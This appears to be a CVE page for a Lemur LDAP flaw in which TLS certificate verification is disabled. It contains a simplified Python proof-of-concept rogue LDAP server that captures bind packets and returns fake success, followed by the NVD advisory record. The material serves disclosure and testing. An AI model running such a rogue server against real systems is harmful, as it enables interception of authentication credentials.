CVE-2026-44305

# This is a conceptual PoC script demonstrating how a Man-In-The-Middle (MITM) # could be set up to intercept credentials due to lack of certificate validation. # It simulates a rogue LDAP server accepting connections. import socket import threading print("[!] Starting rogue LDAP server on port 389...") print("[!] This simulates an attacker intercepting traffic due to CVE-2026-44305.") def handle_connection(client_socket): try: # In a real attack, the attacker would perform a TLS handshake here. # Because Lemur disables verification, a self-signed cert would be accepted. print("[*] Intercepted connection from: " + str(client_socket.getpeername())) # Wait for LDAP Bind Request (simplified) data = client_socket.recv(1024) if data: print(f"[+] Captured LDAP Bind Packet (Hex): {data.hex()}") # In a real scenario, parse ASN.1 to extract credentials print("[+] Credentials potentially extracted from packet.") # Send a fake success response response = bytes.fromhex("300c02010160070a010304020080") client_socket.send(response) except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 389)) server.listen(5) while True: client, addr = server.accept() client_handler = threading.Thread(target=handle_connection, args=(client,)) client_handler.start()

{"cve": {"id": "CVE-2026-44305", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:37.280", "lastModified": "2026-05-12T22:16:37.280", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lemur manages TLS certificate creation. Prior to 1.9.0, when LDAP TLS is enabled (LDAP_USE_TLS = True), Lemur's LDAP authentication module unconditionally disables TLS certificate verification at the global ldap module level. This allows a man-in-the-middle attacker positioned between Lemur and the LDAP server to intercept all authentication credentials. This vulnerability is fixed in 1.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://github.com/Netflix/lemur/security/advisories/GHSA-vr7c-r5gj-j3w5", "source": "[email protected]"}]}}